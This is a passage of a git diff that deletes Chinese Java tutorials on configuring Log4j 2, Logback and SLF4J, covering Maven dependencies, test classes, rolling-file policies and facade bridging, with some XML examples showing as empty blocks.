`rolling-%d{yyyy-MM-dd}-%i.log`,其中 `%d{yyyy-MM-dd}` 很好理解,就是年月日;其中 `%i` 是什么意思呢? - -第一个日志文件名为 rolling.log(最近的日志放在这个里面),第二个文件名除去日期为 rolling-1.log,第二个文件名除去日期为 rolling-2.log,根据这些信息,你能猜到其中的规律吗? - -其实和 DefaultRolloverStrategy 中的 max 属性有关,目前使用的默认值,也就是 7,那就当 rolling-8.log 要生成的时候,删除 rolling-1.log。可以调整 Demo 中的日志输出量来进行验证。 - - - -3)SizeBasedTriggeringPolicy,基于日志文件大小的时间策略,大小以字节为单位,后缀可以是 KB,MB 或 GB,例如 20 MB。 - -再来看一个日志文件压缩的示例,来看配置: - -``` - - - %d %p %c{1.} [%t] %m%n - - - - - -``` - -- fileName 的属性值中包含了一个目录 gz,也就是说日志文件都将放在这个目录下。 - -- filePattern 的属性值中增加了一个 gz 的后缀,这就表明日志文件要进行压缩了,还可以是 zip 格式。 - -运行 Demo 后,可以在 gz 目录下看到以下文件: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j2-1b04167d-a11f-4447-9062-cb3cdd59aa73.png) - -到此为止,Log4j 2 的基本使用示例就已经完成了。测试环境搞定,我去问一下老板,要不要在生产环境下使用 Log4j 2。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/logback.md b/docs/src/gongju/logback.md deleted file mode 100644 index f1239b795d..0000000000 --- a/docs/src/gongju/logback.md +++ /dev/null @@ -1,414 +0,0 @@ ---- -title: Logback:Spring Boot内置的日志处理框架 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - -就在昨天,老板听我说完 Logback 有多牛逼之后,彻底动心了,对我下了死命令,“这么好的日志系统,你还不赶紧点,把它切换到咱的项目当中!” - -我们项目之前用的 Log4j,在我看来,已经足够用了,毕竟是小公司,性能上的要求没那么苛刻。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-320329e9-a754-427f-8a19-2e4f809b6a6f.png) - -[Log4j](https://mp.weixin.qq.com/s/AXgNnJe8djD901EmhFkWUg) 介绍过了,[SLF4J](https://mp.weixin.qq.com/s/EhKf1rHWL-QII0f6eo0uVA) 也介绍过了,那接下来,你懂的,Logback 就要隆重地登场了,毕竟它哥仨有一个爹,那就是巨佬 Ceki Gulcu。 - -### 01、Logback 强在哪 - -1)非常自然地实现了 SLF4J,不需要像 Log4j 和 JUL 那样加一个适配层。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-6ba1b465-5533-49dd-b875-48a10ba29f8e.png) - -2)Spring Boot 的默认日志框架使用的是 Logback。一旦某款工具库成为了默认选项,那就说明这款工具已经超过了其他竞品。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-2696cd8b-7e8c-4476-9a06-272fd22fa4b6.png) - -注意看下图(证据找到了,来自 [Spring Boot 官网](https://docs.spring.io/spring-boot/docs/current/reference/html/spring-boot-features.html#boot-features-logging)): - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-82d78a15-8ae0-4377-a7af-aebd5cda4fda.png) - -也可以通过源码的形式看得到: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-2df2d06e-1b01-428b-8444-d765056e25bb.png) - - -3)支持自动重新加载配置文件,不需要另外创建扫描线程来监视。 - -4)既然是巨佬的新作,那必然在性能上有了很大的提升,不然呢? - -### 02、Logback 使用示例 - -**第一步**,在 pom.xml 文件中添加 Logback 的依赖: - -```xml - - ch.qos.logback - logback-classic - 1.2.3 - -``` - -Maven 会自动导入另外两个依赖: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-1f7d8e00-4be6-4863-940c-037862ad2c41.png) - -logback-core 是 Logback 的核心,logback-classic 是 SLF4J 的实现。 - -**第二步**,来个最简单的测试用例: - -```java -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class Test { - static Logger logger = LoggerFactory.getLogger(Test.class); - public static void main(String[] args) { - logger.debug("logback"); - } -} -``` - -Logger 和 LoggerFactory 都来自 SLF4J,所以如果项目是从 Log4j + SLF4J 切换到 Logback 的话,此时的代码是零改动的。 - -运行 Test 类,可以在控制台看到以下信息: - -``` -12:04:20.149 [main] DEBUG com.itwanger.Test - logback -``` - -在没有配置文件的情况下,一切都是默认的,Logback 的日志信息会输出到控制台。可以通过 StatusPrinter 来打印 Logback 的内部信息: - -```java -LoggerContext lc = (LoggerContext)LoggerFactory.getILoggerFactory(); -StatusPrinter.print(lc); -``` - -在 main 方法中添加以上代码后,再次运行 Test 类,可以在控制台看到以下信息: - -``` -12:59:22.314 [main] DEBUG com.itwanger.Test - logback -12:59:22,261 |-INFO in ch.qos.logback.classic.LoggerContext[default] - Could NOT find resource [logback-test.xml] -12:59:22,262 |-INFO in ch.qos.logback.classic.LoggerContext[default] - Could NOT find resource [logback.groovy] -12:59:22,262 |-INFO in ch.qos.logback.classic.LoggerContext[default] - Could NOT find resource [logback.xml] -12:59:22,268 |-INFO in ch.qos.logback.classic.BasicConfigurator@5e853265 - Setting up default configuration. -``` - -也就是说,Logback 会在 classpath 路径下先寻找 logback-test.xml 文件,没有找到的话,寻找 logback.groovy 文件,还没有的话,寻找 logback.xml 文件,都找不到的话,就输出到控制台。 - -一般来说,我们会在本地环境中配置 logback-test.xml,在生产环境下配置 logback.xml。 - -**第三步**,在 resource 目录下增加 logback-test.xml 文件,内容如下所示: - -```xml - - - - %d{HH:mm:ss.SSS} %relative [%thread] %-5level %logger{36} - %msg%n - - - - - - - -``` - -Logback 的配置文件非常灵活,最基本的结构为 `` 元素,包含 0 或多个 `` 元素,其后跟 0 或多个 `` 元素,其后再跟最多只能存在一个的 `` 元素。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-b81ab795-2a2c-44c3-a4b8-b96ef78dcd88.png) - - -**1)配置 appender**,也就是配置日志的输出目的地,通过 name 属性指定名字,通过 class 属性指定目的地: - -- ch.qos.logback.core.ConsoleAppender:输出到控制台。 -- ch.qos.logback.core.FileAppender:输出到文件。 -- ch.qos.logback.core.rolling.RollingFileAppender:文件大小超过阈值时产生一个新文件。 - -除了输出到本地,还可以通过 SocketAppender 和 SSLSocketAppender 输出到远程设备,通过 SMTPAppender 输出到邮件。甚至可以通过 DBAppender 输出到数据库中。 - -encoder 负责把日志信息转换成字节数组,并且把字节数组写到输出流。 - -pattern 用来指定日志的输出格式: - -- `%d`:输出的时间格式。 -- `%thread`:日志的线程名。 -- `%-5level`:日志的输出级别,填充到 5 个字符。比如说 info 只有 4 个字符,就填充一个空格,这样日志信息就对齐了。 - -反例(没有指定 -5 的情况): - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-b30bc0ca-5c78-4853-922b-36bb0c7d8628.png) - - -- `%logger{length}`:logger 的名称,length 用来缩短名称。没有指定表示完整输出;0 表示只输出 logger 最右边点号之后的字符串;其他数字表示输出小数点最后边点号之前的字符数量。 -- `%msg`:日志的具体信息。 -- `%n`:换行符。 -- `%relative`:输出从程序启动到创建日志记录的时间,单位为毫秒。 - -**2)配置 root**,它只支持一个属性——level,值可以为:TRACE、DEBUG、INFO、WARN、ERROR、ALL、OFF。 - -appender-ref 用来指定具体的 appender。 - -**3)查看内部状态信息**。 - -可以在代码中通过 StatusPrinter 来打印 Logback 内部状态信息,也可以通过在 configuration 上开启 debug 来打印内部状态信息。 - -重新运行 Test 类,可以在控制台看到以下信息: - -``` -13:54:54,718 |-INFO in ch.qos.logback.classic.LoggerContext[default] - Found resource [logback-test.xml] at [file:/Users/maweiqing/Documents/GitHub/JavaPointNew/codes/logbackDemo/target/classes/logback-test.xml] -13:54:54,826 |-INFO in ch.qos.logback.core.joran.action.AppenderAction - About to instantiate appender of type [ch.qos.logback.core.ConsoleAppender] -13:54:54,828 |-INFO in ch.qos.logback.core.joran.action.AppenderAction - Naming appender as [STDOUT] -13:54:54,833 |-INFO in ch.qos.logback.core.joran.action.NestedComplexPropertyIA - Assuming default type [ch.qos.logback.classic.encoder.PatternLayoutEncoder] for [encoder] property -13:54:54,850 |-INFO in ch.qos.logback.classic.joran.action.RootLoggerAction - Setting level of ROOT logger to DEBUG -13:54:54,850 |-INFO in ch.qos.logback.core.joran.action.AppenderRefAction - Attaching appender named [STDOUT] to Logger[ROOT] -13:54:54,850 |-INFO in ch.qos.logback.classic.joran.action.ConfigurationAction - End of configuration. -13:54:54,851 |-INFO in ch.qos.logback.classic.joran.JoranConfigurator@f8c1ddd - Registering current configuration as safe fallback point -13:54:54.853 [main] DEBUG com.itwanger.Test - logback -``` - -**4)自动重载配置**。 - -之前提到 Logback 很强的一个功能就是支持自动重载配置,那想要启用这个功能也非常简单,只需要在 configuration 元素上添加 `scan=true` 即可。 - -``` - - ... - -``` - -默认情况下,扫描的时间间隔是一分钟一次。如果想要调整时间间隔,可以通过 scanPeriod 属性进行调整,单位可以是毫秒(milliseconds)、秒(seconds)、分钟(minutes)或者小时(hours)。 - -下面这个示例指定的时间间隔是 30 秒: - -``` - -``` - -注意:如果指定了时间间隔,没有指定时间单位,默认的时间单位为毫秒。 - -当设置 `scan=true` 后,Logback 会起一个 ReconfigureOnChangeTask 的任务来监视配置文件的变化。 - -### 03、把 log4j.properties 转成 logback-test.xml - -如果你的项目以前用的 Log4j,那么可以通过下面这个网址把 log4j.properties 转成 logback-test.xml: - ->[http://logback.qos.ch/translator/](http://logback.qos.ch/translator/) - -把之前 log4j.properties 的内容拷贝一份: - -``` -### 设置### -log4j.rootLogger = debug,stdout,D,E - -### 输出信息到控制台 ### -log4j.appender.stdout = org.apache.log4j.ConsoleAppender -log4j.appender.stdout.Target = System.out -log4j.appender.stdout.layout = org.apache.log4j.PatternLayout -log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n - -### 输出DEBUG 级别以上的日志到=debug.log ### -log4j.appender.D = org.apache.log4j.DailyRollingFileAppender -log4j.appender.D.File = debug.log -log4j.appender.D.Append = true -log4j.appender.D.Threshold = DEBUG -log4j.appender.D.layout = org.apache.log4j.PatternLayout -log4j.appender.D.layout.ConversionPattern = %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n - -### 输出ERROR 级别以上的日志到=error.log ### -log4j.appender.E = org.apache.log4j.DailyRollingFileAppender -log4j.appender.E.File =error.log -log4j.appender.E.Append = true -log4j.appender.E.Threshold = ERROR -log4j.appender.E.layout = org.apache.log4j.PatternLayout -log4j.appender.E.layout.ConversionPattern = %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n -``` - -粘贴到该网址的文本域: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-6c934584-3624-4f40-8108-13bfffc0c40b.png) - -点击「Translate」,可以得到以下内容: - -``` - - - - - - - - - - - - System.out - - [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n - - - - - - - true - debug.log - - %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n - - - DEBUG - - - - - - - error.log - true - - %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n - - - ERROR - - - - - - - - -``` - -可以确认一下内容,发现三个 appender 都在。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-7a0edcdf-8706-4a83-9c09-413fc07967ad.png) - -但是呢,转换后的文件并不能直接使用,需要稍微做一些调整,因为: - -第一,日志的格式化有细微的不同,Logback 中没有 `%l`。 - -第二,RollingFileAppender 需要指定 RollingPolicy 和 TriggeringPolicy,前者负责日志的滚动功能,后者负责日志滚动的时机。如果 RollingPolicy 也实现了 TriggeringPolicy 接口,那么只需要设置 RollingPolicy 就好了。 - -TimeBasedRollingPolicy 和 SizeAndTimeBasedRollingPolicy 是两种最常用的滚动策略。 - -TimeBasedRollingPolicy 同时实现了 RollingPolicy 与 TriggeringPolicy 接口,因此使用 TimeBasedRollingPolicy 的时候就可以不指定 TriggeringPolicy。 - -TimeBasedRollingPolicy 可以指定以下属性: - -- fileNamePattern,用来定义文件的名字(必选项)。它的值应该由文件名加上一个 `%d` 的占位符。`%d` 应该包含 `java.text.SimpleDateFormat` 中规定的日期格式,缺省是 `yyyy-MM-dd`。滚动周期是通过 fileNamePattern 推断出来的。 - -- maxHistory,最多保留多少数量的日志文件(可选项),将会通过异步的方式删除旧的文件。比如,你指定按月滚动,指定 `maxHistory = 6`,那么 6 个月内的日志文件将会保留,超过 6 个月的将会被删除。 - -- totalSizeCap,所有日志文件的大小(可选项)。超出这个大小时,旧的日志文件将会被异步删除。需要配合 maxHistory 属性一起使用,并且是第二条件。 - -来看下面这个 RollingFileAppender 配置: - -``` - - debug.log - - - debug.%d{yyyy-MM-dd}.log - - 30 - 3GB - - - %relative [%thread] %level %logger{35} - %msg%n - - -``` - -基于按天滚动的文件策略,最多保留 30 天,最大大小为 30G。 - -SizeAndTimeBasedRollingPolicy 比 TimeBasedRollingPolicy 多了一个日志文件大小设定的属性:maxFileSize,其他完全一样。 - -基于我们对 RollingPolicy 的了解,可以把 logback-test.xml 的内容调整为以下内容: - -``` - - - System.out - - %d{HH:mm:ss.SSS} [%thread] %level %logger{36} - %msg%n - - - - true - debug.log - - - debug.%d{yyyy-MM-dd}.log - - 30 - 3GB - - - %relative [%thread] %-5level %logger{35} - %msg%n - - - - error.log - - - error.%d{yyyy-MM-dd}.log - - 30 - 3GB - - - %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n - - - ERROR - - - - - - - - -``` - -修改 Test 类的内容: - -```java -public class Test { - static Logger logger = LoggerFactory.getLogger(Test.class); - public static void main(String[] args) { - logger.debug("logback"); - logger.error("logback"); - } -} -``` - -运行后,可以在 target 目录下看到两个文件:debug.log 和 errror.log。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/logback-536aa50e-b195-403e-8409-85e4f6966522.png) - -到此为止,项目已经从 Log4j 切换到 Logback 了,过程非常的丝滑顺畅,嘿嘿。 - -### 04、Logback 手册 - -Logback 的官网上是有一份手册的,非常详细,足足 200 多页,只不过是英文版的。小伙伴们可以看完我这篇文章入门实操的 Logback 教程后,到下面的地址看官方手册。 - ->[http://logback.qos.ch/manual/index.html](http://logback.qos.ch/manual/index.html) - -如果英文阅读能力有限的话,可以到 GitHub 上查看雷锋翻译的中文版: - ->[https://github.com/itwanger/logback-chinese-manual](https://github.com/itwanger/logback-chinese-manual) - -当然了,还有一部分小伙伴喜欢看离线版的 PDF,我已经整理好了: - ->链接:[https://pan.baidu.com/s/16FrbwycYUUIfKknlLhRKYA](https://pan.baidu.com/s/16FrbwycYUUIfKknlLhRKYA) 密码:bptl - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/others.md b/docs/src/gongju/others.md deleted file mode 100644 index 7d18de5dd1..0000000000 --- a/docs/src/gongju/others.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - -# 其他辅助工具/轮子 - -- [ApiPost:一款更适合国人的接口管理工具](https://mp.weixin.qq.com/s/ZgkNQsve_vq6Xq0_gnWHCw) -- [Multipass:一款更轻量级的虚拟机](https://mp.weixin.qq.com/s/gy6dVHvNy495bqov6JOAdA) -- [drwa.io:一个在线的画图神器](https://mp.weixin.qq.com/s/EaGCe4GRG2C-0zuVxWxl5A) -- [EasyPoi:5行代码就可以完成Excel的导入导出的开源项目](https://mp.weixin.qq.com/s/H2Bwc-7ghcjyaEnKUTQ5Dg) -- [EasyExcel:一个基于Java的简单、省内存的读写Excel的开源项目](https://mp.weixin.qq.com/s/Knb7b-uYLWsKZfgvGgN_ug) \ No newline at end of file diff --git a/docs/src/gongju/slf4j.md b/docs/src/gongju/slf4j.md deleted file mode 100644 index 6dd92aca4b..0000000000 --- a/docs/src/gongju/slf4j.md +++ /dev/null @@ -1,340 +0,0 @@ ---- -title: SLF4J:阿里巴巴强制使用的日志门面担当 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - -我在读嵩山版的阿里巴巴开发手册(没有的小伙伴,记着找我要)的时候,就发现了一条「**强制**」性质的日志规约: - ->应用中不可以直接使用日志系统(Log4j、Logback)中的 API,而应该使用日志框架中的 API,比如说 SLF4J,使用门面模式的日志框架,有利于维护和统一各个类的日志处理方式。 - -(为什么我把这段文字手敲了下来呢,因为我发现阿里巴巴开发手册上的有语病,瞧下面红色标出的部分) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-94ba034a-c6e6-46e0-bff3-b658bf35945f.png) - -(维护和统一,把统一放在最后面读起来真的是别扭,和的有点牵强,请问手册的小编是数学老师教的语文吧?) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-a7a6e0ae-cbee-428e-8a45-2f5a33243625.png) - -那看到这条强制性的规约,我就忍不住想要问:“为什么阿里巴巴开发手册会强制使用 SLF4J 作为 Log4J 的门面担当呢?”究竟这背后藏了什么“不可告人”的秘密? - -(请小伙伴们自行配上 CCTV 12 台的那种 BGM) - -PS:顺带给小伙伴们普及一点小知识,阿里巴巴开发手册上出现的 Jakarta 其实是 Apache 软件基金会下的一个开源项目。其实 Commons 是以前隶属于 Jakarta,现在是作为 Apache 下的一个单独项目,阿里巴巴开发手册上的描述已经不太恰当了,换成是 Apache Commons Logging 会更合适一点。 - -(忍不住又给阿里巴巴开发手册挑了一个毛病,请原谅我“一丝不苟”的做事态度) - -### 01、SLF4J 是什么 - -SLF4J 是 Simple Logging Facade for Java 的缩写(for≈4),也就是简易的日志门面,以外观模式(Facade pattern,一种设计模式,为子系统中的一组接口提供一个统一的高层接口,使得子系统更容易使用)实现,支持 java.util.logging、Log4J 和 Logback。 - -SLF4J 的作者就是 Log4J 和 Logback 的作者,他的 GitHub 主页长下面这样: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-c72cd63d-b15b-401c-8399-ad0355f1f802.png) - -一股秋风瑟瑟的清冷感扑面而来,有没有?可能巨佬不屑于维护他的 GitHub 主页吧?我的 GitHub 主页够凄惨了,没想到巨佬比我还惨,终于可以吹牛逼地说,“我,沉默王二,GitHub 主页比 SLF4J、Log4J 和 Logback 的作者 Ceki Gulcu 绿多了。。。。。。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-cdc9e0fb-71ab-42e7-8024-7e9cfd9b30c3.png) - -1996 年初,欧洲安全电子市场项目决定编写自己的跟踪 API,最后该 API 演变成了 Log4j,已经推出就备受宠爱。 - -2002 年 2 月,Sun 推出了自己的日志包 java.util.logging(可称 JUL),据说实现思想借鉴了 Log4j,毕竟此时的 Log4j 已经很成熟了。 - -2002 年 8 月,Apache 就推出了自己的日志包,也就是阿里巴巴开发手册上提到的 JCL(Jakarta Commons Logging)。JCL 的野心很大,它在 JUL 和 Log4j 的基础上提供了一个抽象层的接口,方便使用者在 JUL 和 Log4j 之间切换。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-5b40fac4-0ab1-467d-9dc1-85c43ed879e7.png) - -但 JCL 好像并不怎么招人喜欢,有人是这样抱怨的: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-795d5543-7bd1-450a-8a35-a151be106b3b.png) - -Ceki Gulcu 也觉得 JCL 不好,要不然他也不会在 2005 年自己撸一个名叫 SLF4J 的新项目,对吧?但出来混总是要付出代价的,SLF4J 只有接口,没有实现,总不能强逼着 Java 和 Apache 去实现 SLF4J 接口吧?这太难了,不现实。 - -但巨佬之所以称之为巨佬,是因为他拥有超出普通人的惊人之处,他在 SLF4J 和 JUL、Log4j、JCL 之间搭了三座桥: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-3044b416-ff14-408f-b933-71993b7ddeee.png) - -巨佬动手,丰衣足食,有没有?狠起来连自己的 Log4j 都搭个桥。 - -面对巨佬的霸气,我只想弱弱地说一句,“ SLF4J 这个门面担当,你以为好当的啊?” - -### 02、SLF4J 解决了什么痛点 - -春秋战国的时候,每个国家都有自己的货币,用别国的货币也不合适,对吧?那在发生贸易的时候就比较麻烦了,货币不统一,就没法直接交易,因为货币可能不等价。 - -那秦始皇统一六国后,就推出了新的货币政策,全国都用一种货币,那之前的问题就解决掉了。 - -你看,同样的道理,日志系统有 JUL、JCL,Ceki Gulcu 自己又写了 2 种,Log4j 和 Logback,各有各的优缺点,再加上使用者千千万,萝卜白菜各有所爱,这就导致不同的应用可能会用不同的日志系统。 - -假设我们正在开发一套系统,打算用 SLF4J 作为门面,Log4j 作为日志系统,我们在项目中使用了 A 框架,而 A 框架的门面是 JCL,日志系统是 JUL,那就相等于要维护两套日志系统,对吧? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-e66a78a6-1ef6-42c1-86fa-a4c57b3ef160.png) - -这就难受了! - -Ceki Gulcu 想到了这个问题,并且帮我们解决了!来看 SLF4J 官网给出的解决方案。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-5e1021d6-6a81-492b-b8d3-f9438014b53b.png) - -- 使用 jcl-over-slf4j.jar 替换 commons-logging.jar -- 引入 jul-to-slf4j.jar - -为了模拟这个过程,我们来建一个使用 JCL 的项目。 - -第一步,在 pom.xml 文件中引入 commons-logging.jar: - -```xml - - commons-logging - commons-logging - 1.2 - -``` - -第二步,新建测试类: - -```java -package com.itwanger; - -import org.apache.commons.logging.Log; -import org.apache.commons.logging.LogFactory; - -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class Demo { - private static Log logger = LogFactory.getLog(Demo.class); - public static void main(String[] args) { - logger.info("jcl"); - } -} -``` - -该类会通过 LogFactory 获取一个 Log 对象,并且使用 `info()` 方法打印一行日志。 - -调试这段代码的过程中你会发现,Log 的实现有四种: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-a1db024d-1b29-47b2-a1f8-70b899d5b7c0.png) - -如果没有绑定 Log4j 的话,就会默认选择 Jdk14Logger——它返回的 Logger 对象,正是 java.util.logging.Logger,也就是 JUL。 - -因此,就可以在控制台看到以下信息: - -``` -10月 21, 2020 3:13:30 下午 com.itwanger.Demo main -信息: jcl -``` - -怎么把使用 JCL 的项目改造成使用 SLF4J 的呢? - -第三步,使用 jcl-over-slf4j.jar 替换 commons-logging.jar,并加入 jul-to-slf4j.jar、slf4j-log4j12.jar(会自动引入 slf4j-api.jar 和 log4j.jar): - -```xml - - org.slf4j - jcl-over-slf4j - 1.7.25 - - - - org.slf4j - jul-to-slf4j - 1.7.29 - - - - org.slf4j - slf4j-log4j12 - 1.7.25 - -``` - -第四步,在 resources 目录下创建 log4j.properties 文件,内容如下所示: - -``` -### 设置### -log4j.rootLogger = debug,stdout,D - -### 输出信息到控制台 ### -log4j.appender.stdout = org.apache.log4j.ConsoleAppender -log4j.appender.stdout.Target = System.out -log4j.appender.stdout.layout = org.apache.log4j.PatternLayout -log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n - -### 输出DEBUG 级别以上的日志到=debug.log ### -log4j.appender.D = org.apache.log4j.DailyRollingFileAppender -log4j.appender.D.File = debug.log -log4j.appender.D.Append = true -log4j.appender.D.Threshold = DEBUG -log4j.appender.D.layout = org.apache.log4j.PatternLayout -log4j.appender.D.layout.ConversionPattern = %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n -``` - -再次运行 Demo 类,你会发现 target 目录下会生成一个名叫 debug.log 的文件,内容如下所示: - -``` -2020-10-21 15:32:06 [ main:0 ] - [ INFO ] jcl -``` - -并且可以在控制台看到以下信息: - -``` -[INFO ] 2020-10-21 15:32:06,192 method:com.itwanger.Demo.main(Demo.java:12) -jcl -``` - -仔细对比一下,你就会发现,这次输出的格式和之前不一样,这就是因为 Log4j 和 JUL 的日志格式不同导致的。 - -另外,你有没有发现?我们并没有改动测试类 Demo,它里面使用的仍然是 JCL 获取 Log 的方式: - -```java -private static Log logger = LogFactory.getLog(Demo.class); -``` - -但输出的格式已经切换到 Log4j 了! - -SLF4J 除了提供这种解决方案,绑定 Log4j 替换 JUL 和 JCL;还提供了绑定 Logback 替换 JUL、JCL、Log4j 的方案: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-d3162919-47e1-4760-beba-7b77cdf42e71.png) - -还有绑定 JUL 替换 JCL 和 Log4j 的方案: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-a7d80721-ec0f-4b99-a59b-15f8344c3819.png) - -太强了,有木有?有的话请在留言区敲出 666。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-e9233a42-d13e-4d7d-9d9e-b049d08303aa.png) - -### 03、SLF4J 比 Log4J 强在哪 - -SLF4J 除了解决掉以上的痛点,帮助我们的应用程序独立于任何特定的日志系统,还有一个非常牛逼的功能,那就是 SLF4J 在打印日志的时候使用了占位符 `{}`,它有点类似于 String 类的 `format()` 方法(使用 `%s` 等填充参数),但更加便捷,这在很大程度上提高了程序的性能。 - -众所周知,字符串是不可变的,字符串拼接会创建很多不必要的字符串对象,极大的消耗了内存空间。但 Log4J 在打印带参数的日志时,只能使用字符串拼接的方式: - -```java -String name = "沉默王二"; -int age = 18; -logger.debug(name + ",年纪:" + age + ",是个非常不要脸的程序员"); -``` - -非常笨重,但加入了 SLF4J 后,这个问题迎刃而解。我们来看一下在 Log4j 项目中加入 SLF4J 的详细的步骤。 - -第一步,把 log4j 的依赖替换为 slf4j-log4j12(Maven 会自动引入 slf4j-api.jar 和 log4j.jar): - -```java - - org.slf4j - slf4j-log4j12 - 1.7.25 - -``` - -第二步,在 resources 目录下创建 log4j.properties 文件,内容和 [Log4j 那一篇](https://mp.weixin.qq.com/s/AXgNnJe8djD901EmhFkWUg)完全相同: - -``` -### 设置### -log4j.rootLogger = debug,stdout,D,E - -### 输出信息到控制台 ### -log4j.appender.stdout = org.apache.log4j.ConsoleAppender -log4j.appender.stdout.Target = System.out -log4j.appender.stdout.layout = org.apache.log4j.PatternLayout -log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n - -### 输出DEBUG 级别以上的日志到=debug.log ### -log4j.appender.D = org.apache.log4j.DailyRollingFileAppender -log4j.appender.D.File = debug.log -log4j.appender.D.Append = true -log4j.appender.D.Threshold = DEBUG -log4j.appender.D.layout = org.apache.log4j.PatternLayout -log4j.appender.D.layout.ConversionPattern = %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n - -### 输出ERROR 级别以上的日志到=error.log ### -log4j.appender.E = org.apache.log4j.DailyRollingFileAppender -log4j.appender.E.File =error.log -log4j.appender.E.Append = true -log4j.appender.E.Threshold = ERROR -log4j.appender.E.layout = org.apache.log4j.PatternLayout -log4j.appender.E.layout.ConversionPattern = %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n -``` - -第三步,新建测试类: - -```java -package com.itwanger; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class Log4jSLF4JDemo { - private static final Logger logger = LoggerFactory.getLogger(Log4jSLF4JDemo.class); - - public static void main(String[] args) { - logger.debug("{},是个非常不要脸的程序员","沉默王二"); - } -} -``` - -看到了吧,使用占位符要比“+”操作符方便的多。并且此时不再需要 `isDebugEnabled()` 先进行判断,`debug()` 方法会在字符串拼接之前执行。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-5e831353-b2a3-4a39-80e3-47a044009d95.png) - - -如果只是 Log4J 的话,会先进行字符串拼接,再执行 `debug()` 方法,来看示例代码: - -```java -String name = "沉默王二"; -int age = 18; -logger.debug(name + ",年纪:" + age + ",是个非常不要脸的程序员"); -``` - -在调试这段代码的时候,你会发现的,如下图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-4ae3eda7-cd0d-4094-9331-d6070a39c8ea.png) - -这也就意味着,如果日志系统的级别不是 DEBUG,就会多执行了字符串拼接的操作,白白浪费了性能。 - -注意,阿里巴巴开发手册上还有一条「**强制**」级别的规约: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-51004734-620a-4c1a-8aa7-6d7f3e1781d6.png) - -这是因为如果参数是基本数据类型的话,会先进行自动装箱(`Integer.valueOf()`)。测试代码如下所示: - -```java -logger.debug("沉默王二,{}岁", 18); -``` - -通过反编译工具就可以看得到: - -```java -logger.debug("\u6C89\u9ED8\u738B\u4E8C\uFF0C{}\u5C81", Integer.valueOf(18)); -``` - -如果参数需要调用其他方法的话,`debug()` 方法会随后调用。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/slf4j-aec16f40-7849-4a1d-9507-9119707e6c79.png) - -也就是说,如果不 `isDebugEnabled()` 的话,在不是 DEBUG 级别的情况下,会多执行自动装箱和调用其他方法的操作——程序的性能就下降了! - -测试类运行的结果和之前 Log4J 的一样,小伙伴们可以点击链接跳转到 [Log4j 那篇](https://mp.weixin.qq.com/s/AXgNnJe8djD901EmhFkWUg)对比下。 - -### 04、总结 - -简单总结一下这篇文章哈。 - -1)在使用日志系统的时候,一定要使用 SLF4J 作为门面担当。 - -2)SLF4J 可以统一日志系统,作为上层的抽象接口,不需要关注底层的日志实现,可以是 Log4j,也可以是 Logback,或者 JUL、JCL。 - -3)SLF4J 